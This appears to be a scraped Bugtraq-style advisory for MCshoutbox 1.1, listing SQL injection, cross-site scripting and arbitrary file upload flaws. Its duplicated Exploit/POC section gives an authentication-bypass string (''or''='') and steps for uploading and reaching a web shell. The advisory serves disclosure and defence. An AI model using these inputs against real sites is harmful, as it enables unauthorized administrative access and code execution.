MCshoutbox Multiple Input Validation Vulnerabilities
BID:43493
Info
MCshoutbox Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 43493 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-3716 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 20 2009 12:00AM |
| Updated: | Jul 20 2009 12:00AM |
| Credit: | SirGod |
| Vulnerable: |
Joe Pieruccini MCshoutbox 1.1 |
| Not Vulnerable: | |
Discussion
MCshoutbox Multiple Input Validation Vulnerabilities
MCshoutbox is prone to multiple input-validation vulnerabilities because it fails to adequately sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues, a cross-site scripting issue, and an arbitrary-file-upload issue.
Exploiting these issues can allow an attacker to upload arbitrary files to the affected computer which can result in arbitrary code execution within the context of the vulnerable application, run malicious HTML and script code in the context of the affected browser, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible.
MCshoutbox 1.1 is vulnerable; other versions may also be affected.
MCshoutbox is prone to multiple input-validation vulnerabilities because it fails to adequately sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues, a cross-site scripting issue, and an arbitrary-file-upload issue.
Exploiting these issues can allow an attacker to upload arbitrary files to the affected computer which can result in arbitrary code execution within the context of the vulnerable application, run malicious HTML and script code in the context of the affected browser, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible.
MCshoutbox 1.1 is vulnerable; other versions may also be affected.
Exploit / POC
MCshoutbox Multiple Input Validation Vulnerabilities
An attacker can exploit these issues through a browser. To exploit a cross-site scripting vulnerability, the attacker must entice an unsuspecting user into visiting a malicious URI.
The following example data are available:
http://www.example.com/[path]/admin_login.php
Username : 'or''='
Password : 'or''='
http://www.example.com/[path]/admin.php?mode=add
Symbol Emoticon : anything
Path to Smilie : yourshell.php
http://www.example.com/[path]/smilies/yourshell.php
The following example URI is available:
An attacker can exploit these issues through a browser. To exploit a cross-site scripting vulnerability, the attacker must entice an unsuspecting user into visiting a malicious URI.
The following example data are available:
http://www.example.com/[path]/admin_login.php
Username : 'or''='
Password : 'or''='
http://www.example.com/[path]/admin.php?mode=add
Symbol Emoticon : anything
Path to Smilie : yourshell.php
http://www.example.com/[path]/smilies/yourshell.php
The following example URI is available: